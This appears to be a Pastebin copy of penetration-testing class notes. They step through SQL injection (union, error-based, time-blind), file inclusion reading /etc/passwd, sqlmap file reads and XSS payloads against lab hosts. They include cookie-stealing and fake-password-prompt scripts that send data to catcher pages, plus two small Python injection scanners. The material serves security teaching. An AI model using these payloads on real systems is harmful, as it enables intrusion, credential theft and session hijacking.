Advertisement
nawfling

Advanced Web App Pentester Night School

Dec 3rd, 2017
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.70 KB | None | 0 0
  1. ###########################################
  2. # Advanced Web App Pentester Night School #
  3. ###########################################
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10. #########################
  11. # Class Virtual Machine #
  12. #########################
  13.  
  14.  
  15. Here is the VMWare virtual machine for the class:
  16.  
  17. https://infosecaddictsfiles.blob.core.windows.net/vms/InfoSecAddictsVM.zip
  18. user: infosecaddicts
  19. pass: infosecaddicts
  20.  
  21.  
  22. Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
  23. If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
  24.  
  25.  
  26.  
  27.  
  28. So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
  29. https://s3.amazonaws.com/infosecaddictsfiles/Strategic-Security-2017-VPN-Info.pdf
  30. vpn username: {first_initial.last_name} example: j.mccray
  31. vpn password: !@#$vpn4321VPN
  32.  
  33.  
  34.  
  35. If you wants some scanning tips you should take a look at the following document:
  36. https://s3.amazonaws.com/infosecaddictsfiles/LabNetworkScanningV4.pdf
  37.  
  38.  
  39. #######################
  40. # Attacking PHP/MySQL #
  41. #######################
  42.  
  43. Go to LAMP Target homepage
  44. http://45.63.104.73/
  45.  
  46.  
  47.  
  48. Clicking on the Acer Link:
  49. http://45.63.104.73/acre2.php?lap=acer
  50.  
  51. - Found parameter passing (answer yes to question 1)
  52. - Insert ' to test for SQLI
  53.  
  54. http://45.63.104.73/acre2.php?lap=acer'
  55.  
  56.  
  57. Page returns the following error:
  58. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  59.  
  60.  
  61.  
  62. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  63. We do this using the ORDER BY
  64. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  65.  
  66. Page returns the following error:
  67. Unknown column '100' in 'order clause'
  68.  
  69.  
  70.  
  71. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  72.  
  73. Page returns the following error:
  74. Unknown column '50' in 'order clause'
  75.  
  76.  
  77.  
  78. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  79. Page returns the following error:
  80. Unknown column '25' in 'order clause'
  81.  
  82.  
  83.  
  84. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  85.  
  86. Page returns the following error:
  87. Unknown column '50' in 'order clause'
  88.  
  89.  
  90.  
  91. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  92. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  93.  
  94.  
  95.  
  96. Now we build out the union all select statement with the correct number of columns
  97.  
  98. Reference:
  99. http://www.techonthenet.com/sql/union.php
  100.  
  101.  
  102.  
  103. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  104.  
  105.  
  106.  
  107. Now we negate the parameter value 'acer' by turning into the word 'null':
  108. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  109.  
  110. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  111.  
  112.  
  113. Use a cheat sheet for syntax:
  114. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  115.  
  116.  
  117. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  118.  
  119. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  120.  
  121. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  122.  
  123. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  124.  
  125.  
  126. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  127.  
  128.  
  129.  
  130. ########################
  131. # Question I get a lot #
  132. ########################
  133. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  134.  
  135. Here is a good reference for it:
  136. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  137.  
  138. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  139.  
  140.  
  141.  
  142.  
  143. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  144. http://45.63.104.73/showfile.php?filename=about.txt
  145.  
  146.  
  147.  
  148. See if you can read files on the file system:
  149. http://45.63.104.73/showfile.php?filename=/etc/passwd
  150.  
  151. We call this attack a Local File Include or LFI.
  152.  
  153. Now let's find some text out on the internet somewhere:
  154. https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
  155.  
  156.  
  157. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  158. http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
  159.  
  160.  
  161. -----------------Some Automated Testing from the infosecaddicts VM-----------------
  162.  
  163. ##################################################
  164. # You can download the virtual machine from here #
  165. ##################################################
  166. https://infosecaddictsfiles.blob.core.windows.net/vms/InfoSecAddictsVM.zip
  167. user: infosecaddicts
  168. pass: infosecaddicts
  169.  
  170.  
  171.  
  172. cd /home/infosecaddicts/toolz/sqlmap-dev/
  173.  
  174. python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" -b -v 3
  175.  
  176.  
  177. python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --current-user -v 3
  178.  
  179.  
  180. python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --current-db -v 3
  181.  
  182.  
  183. python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --privileges -v 3
  184.  
  185.  
  186. python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --dbs -v 3
  187.  
  188.  
  189. python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --tables -v 3
  190.  
  191.  
  192. python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --file-read=/etc/issue -v 3
  193.  
  194.  
  195. python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
  196.  
  197.  
  198.  
  199.  
  200.  
  201. #############################
  202. # Error-Based SQL Injection #
  203. #############################
  204. http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  205. http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  206. http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  207. http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  208. http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  209. http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  210. http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  211. http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  212. http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  213.  
  214.  
  215.  
  216.  
  217. #############################
  218. # Union-Based SQL Injection #
  219. #############################
  220. http://54.245.184.121/bookdetail.aspx?id=2 order by 100--
  221. http://54.245.184.121/bookdetail.aspx?id=2 order by 50--
  222. http://54.245.184.121/bookdetail.aspx?id=2 order by 25--
  223. http://54.245.184.121/bookdetail.aspx?id=2 order by 10--
  224. http://54.245.184.121/bookdetail.aspx?id=2 order by 5--
  225. http://54.245.184.121/bookdetail.aspx?id=2 order by 6--
  226. http://54.245.184.121/bookdetail.aspx?id=2 order by 7--
  227. http://54.245.184.121/bookdetail.aspx?id=2 order by 8--
  228. http://54.245.184.121/bookdetail.aspx?id=2 order by 9--
  229. http://54.245.184.121/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  230.  
  231. We are using a union select statement because we are joining the developer's query with one of our own.
  232. Reference:
  233. http://www.techonthenet.com/sql/union.php
  234. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  235. It removes duplicate rows between the various SELECT statements.
  236.  
  237. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  238.  
  239. http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  240.  
  241. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  242.  
  243. http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  244. http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  245. http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  246. http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  247.  
  248.  
  249.  
  250.  
  251.  
  252. - Another way is to see if you can get the backend to perform an arithmetic function
  253. http://54.245.184.121/bookdetail.aspx?id=(2)
  254. http://54.245.184.121/bookdetail.aspx?id=(4-2)
  255. http://54.245.184.121/bookdetail.aspx?id=(4-1)
  256.  
  257.  
  258.  
  259. http://54.245.184.121/bookdetail.aspx?id=2 or 1=1--
  260. http://54.245.184.121/bookdetail.aspx?id=2 or 1=2--
  261. http://54.245.184.121/bookdetail.aspx?id=1*1
  262. http://54.245.184.121/bookdetail.aspx?id=2 or 1 >-1#
  263. http://54.245.184.121/bookdetail.aspx?id=2 or 1<99#
  264. http://54.245.184.121/bookdetail.aspx?id=2 or 1<>1#
  265. http://54.245.184.121/bookdetail.aspx?id=2 or 2 != 3--
  266. http://54.245.184.121/bookdetail.aspx?id=2 &0#
  267.  
  268.  
  269.  
  270.  
  271.  
  272. ###############################
  273. # Blind SQL Injection Testing #
  274. ###############################
  275. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  276.  
  277. 3 - Total Characters
  278. http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  279. http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  280. http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  281.  
  282. Let's go for a quick check to see if it's DBO
  283. http://54.245.184.121/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  284.  
  285. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  286.  
  287. D - 1st Character
  288. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  289. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  290. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  291. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  292.  
  293. B - 2nd Character
  294. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  295. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  296.  
  297. O - 3rd Character
  298. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  299. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  300. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  301. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  302. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  303. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  304. http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  305.  
  306.  
  307.  
  308.  
  309. ************************ Class Homework ************************
  310.  
  311. Perform a mock penetration test against http://45.63.104.73 using what you have learned in this pastebin.
  312.  
  313. You don't need to document it for me, but go through the steps for your own understanding.
  314.  
  315.  
  316.  
  317.  
  318.  
  319. ************************ Class Challenge ************************
  320.  
  321. Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
  322.  
  323. Here are some sample web app penetration test reports from other companies that you can look at:
  324. https://s3.amazonaws.com/infosecaddicts-Files/WebAppSampleReports.zip
  325.  
  326. I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
  327.  
  328.  
  329. ###############################################################################
  330. # What is XSS #
  331. # https://infosecaddictsfiles.blob.core.windows.net/files/2-Intro_To_XSS.pptx #
  332. ###############################################################################
  333.  
  334. OK - what is Cross Site Scripting (XSS)
  335.  
  336. 1. Use Firefox to browse to the following location:
  337.  
  338. http://45.63.104.73/xss_practice/
  339.  
  340. A really simple search page that is vulnerable should come up.
  341.  
  342.  
  343.  
  344.  
  345. 2. In the search box type:
  346.  
  347. <script>alert('So this is XSS')</script>
  348.  
  349.  
  350. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  351. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  352.  
  353.  
  354. 3. In the search box type:
  355.  
  356. <script>alert(document.cookie)</script>
  357.  
  358.  
  359. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  360. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  361.  
  362. 4. Now replace that alert script with:
  363.  
  364. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  365.  
  366.  
  367. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  368.  
  369.  
  370. 5. Now view the stolen cookie at:
  371. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  372.  
  373.  
  374. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  375.  
  376.  
  377.  
  378.  
  379.  
  380.  
  381. ############################
  382. # A Better Way To Demo XSS #
  383. ############################
  384.  
  385.  
  386. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  387.  
  388.  
  389. Use Firefox to browse to the following location:
  390.  
  391. http://45.63.104.73/xss_practice/
  392.  
  393.  
  394.  
  395. Paste this in the search box
  396. ----------------------------
  397.  
  398.  
  399.  
  400. <script>
  401. password=prompt('Your session is expired. Please enter your password to continue',' ');
  402. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  403. </script>
  404.  
  405.  
  406. Now view the stolen cookie at:
  407. http://45.63.104.73/xss_practice/passwords.html
  408.  
  409.  
  410.  
  411.  
  412. ###############################################################
  413. # Question 1: What is the process that you use when you test? #
  414. ###############################################################
  415.  
  416. Step 1: Automated Testing
  417.  
  418. Step 1a: Web Application vulnerability scanners
  419. -----------------------------------------------
  420. - Run two (2) unauthenticated vulnerability scans against the target
  421. - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
  422. - Run two (2) authenticated vulnerability scans against the target with admin privileges
  423.  
  424. The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
  425.  
  426. A good web application vulnerability scanner comparison website is here:
  427. http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
  428.  
  429.  
  430. Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  431.  
  432. When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  433.  
  434.  
  435. Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
  436.  
  437.  
  438. Also, be sure to save the scan results and logs. I usually provide this data to the customer.
  439.  
  440.  
  441.  
  442. Step 1b: Directory Brute Forcer
  443. -------------------------------
  444. I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
  445.  
  446.  
  447.  
  448. Step 2: Manual Testing
  449.  
  450. Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
  451.  
  452. Step 2a: Spider/Scan the entire site with Burp Suite
  453. Save the spider and scan results. I usually provide this data to the customer as well.
  454.  
  455.  
  456. Step 2b: Browse through the site using the 3 question method
  457. Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
  458.  
  459. Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
  460.  
  461. Here is what I mean:
  462. http://www.site.com/page.aspx?parametername=parametervalue
  463.  
  464. When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
  465.  
  466. http://www.site.com/page.aspx?parametername=[ payload ]
  467.  
  468. You need to ensure that you send the payload this way, and like this below:
  469.  
  470. http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
  471.  
  472. This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
  473.  
  474.  
  475.  
  476.  
  477.  
  478.  
  479.  
  480. ###########################################
  481. # Question 2: How much fuzzing is enough? #
  482. ###########################################
  483. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  484.  
  485. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  486.  
  487.  
  488. Step 1: Ask yourself the 3 questions per page of the site.
  489.  
  490. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  491.  
  492. Step 3: When you load your fuzz strings - use the following decision tree
  493.  
  494. - Are the fuzz strings causing a default error message (example 404)?
  495. - If this is the case then it is most likely NOT vulnerable
  496.  
  497. - Are the fuzz strings causing a WAF or LB custom error message?
  498. - If this is the case then you need to find an encoding method to bypass
  499.  
  500.  
  501. - Are the fuzz strings causing an error message that discloses the backend type?
  502. - If yes, then identify DB type and find correct syntax to successfully exploit
  503. - Some example strings that I use are:
  504. '
  505. "
  506. () <----- Take the parameter value and put it in parenthesis
  507. (5-1) <----- See if you can perform an arithmetic function
  508.  
  509.  
  510. - Are the fuzz strings rendering executable code?
  511. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  512. - Some example strings that I use are:
  513. <b>hello</b>
  514. <u>hello</u>
  515. <script>alert(123);</script>
  516. <script>alert(xss);</script>
  517. <script>alert('xss');</script>
  518. <script>alert("xss");</script>
  519.  
  520.  
  521.  
  522.  
  523.  
  524.  
  525.  
  526. -------------------------------------------------------------------------------------------
  527.  
  528.  
  529. ############################
  530. # Web App Scripting Basics #
  531. ############################
  532.  
  533. 1. Simple LFI/RFI
  534. -----------------
  535.  
  536. vi lfi-rfi.py
  537. --------------------------------
  538. #!/usr/bin/env python
  539.  
  540. print "\n### PHP LFI/RFI Detector ###"
  541.  
  542.  
  543. # urllib2 is a Python module that can be used for fetching URLs. It defines functions and classes to help with URL actions (basic and digest authentication, redirections, cookies, etc) The magic starts with importing the urllib2 module.
  544.  
  545. # The module re provides full support for Perl-like regular expressions in Python
  546.  
  547. # The module sys contains System-specific parameters and functions
  548.  
  549.  
  550. import urllib2,re,sys
  551.  
  552. TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
  553. RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
  554. TravLimit = 12
  555.  
  556. print "==> Testing for LFI vulns.."
  557. TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
  558. for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
  559. TARGET += "../"
  560. try:
  561. source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
  562. except urllib2.URLError, e:
  563. print "$$$ We had an Error:",e
  564. sys.exit(0)
  565. if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
  566. print "!! ==> LFI Found:",TARGET+"etc/passwd"
  567. break ## BREAK LOOP WHEN VULN FOUND
  568.  
  569. print "\n==> Testing for RFI vulns.."
  570. TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
  571. try:
  572. source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
  573. except urllib2.URLError, e:
  574. print "$$$ We had an Error:",e
  575. sys.exit(0)
  576. if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
  577. print "!! => RFI Found:",TARGET
  578.  
  579. print "\nScan Complete\n" ## DONE
  580.  
  581. --------------------------------
  582.  
  583.  
  584.  
  585.  
  586. 2. Simple SQL Injection
  587. -----------------------
  588.  
  589. vi sqli.py
  590. --------------------------------
  591. #!/usr/bin/env python
  592. print "\n### PHP SQLi Detector ###"
  593. import urllib2,re,sys
  594.  
  595. TARGET = "http://45.63.104.73/acre2.php?lap=acer"
  596.  
  597. SQLi = "%27"
  598. SQLiError = "You have an error in your SQL"
  599. myNameInHex = "0x6a6f65"
  600. myName = 'joe'
  601.  
  602. print "==> Testing for SQLi Error Vuln..."
  603. URL = TARGET+SQLi
  604. try:
  605. source = urllib2.urlopen(URL).read() ## WEB REQUEST
  606. except urllib2.URLError, e:
  607. print "$$$ We had an Error\n",e
  608. sys.exit(0)
  609. if re.search(SQLiError,source): ## SEARCH FOR ERROR IN PAGE
  610. print "!! ==> SQLi Found:",TARGET+SQLi
  611. print "## ==> Bruting NULL column...",
  612. URL = TARGET+SQLi+"%20UNION%20SELECT%20"+myNameInHex ## BUILD OUR SQLi STATEMENT
  613. for x in xrange(1,10):
  614. if x > 1:
  615. URL = URL+","
  616. URL = URL+myNameInHex
  617. print x,
  618. print URL
  619. try:
  620. source = urllib2.urlopen((URL+"--%20j")).read() ## WEB REQUEST
  621. except urllib2.URLError, e:
  622. print "$$$ We had an Error\n",e
  623. sys.exit(0)
  624. if re.search(myName, source): ## SEARCH FOR UNENCODED NULL WORD
  625. print "\n!! ==> Null Column Found:",URL+"--"
  626. break
  627. else:
  628. print "** ==> No SQLi Found!"
  629. print "\nScan Complete\n"
  630. --------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement